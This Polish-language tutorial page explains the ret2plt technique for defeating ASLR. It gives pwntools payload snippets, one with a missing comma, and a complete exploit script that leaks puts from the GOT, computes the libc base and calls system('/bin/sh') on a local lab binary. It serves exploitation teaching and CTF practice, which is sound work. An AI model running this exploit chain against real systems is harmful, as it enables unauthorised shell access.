Ret2plt

Podstawowe informacje

Celem tej techniki jest wyciek adresu funkcji z PLT, aby móc ominąć ASLR. Dzieje się tak dlatego, że jeśli na przykład wyciekniesz adres funkcji puts z biblioteki libc, możesz obliczyć bazę libc i obliczyć przesunięcia, aby uzyskać dostęp do innych funkcji, takich jak system.

Można to zrobić za pomocą ładunku pwntools, na przykład (stąd):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Zauważ, jak puts (korzystając z adresu z PLT) jest wywoływany z adresem puts znajdującym się w GOT (Global Offset Table). Dzieje się tak dlatego, że w momencie, gdy puts drukuje wpis GOT puts, ten wpis będzie zawierał dokładny adres puts w pamięci.

Zauważ również, jak adres main jest używany w eksploacie, więc gdy puts zakończy swoje wykonanie, binarny ponownie wywołuje main zamiast zakończyć działanie (dzięki czemu wyciekły adres będzie nadal ważny).

Zauważ, że aby to działało, binarny nie może być skompilowany z PIE lub musisz znaleźć wyciek, aby ominąć PIE i poznać adresy PLT, GOT i main. W przeciwnym razie najpierw musisz ominąć PIE.

Możesz znaleźć pełny przykład tego bypassu tutaj. To był ostateczny exploit z tego przykładu:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Inne przykłady i odnośniki

Last updated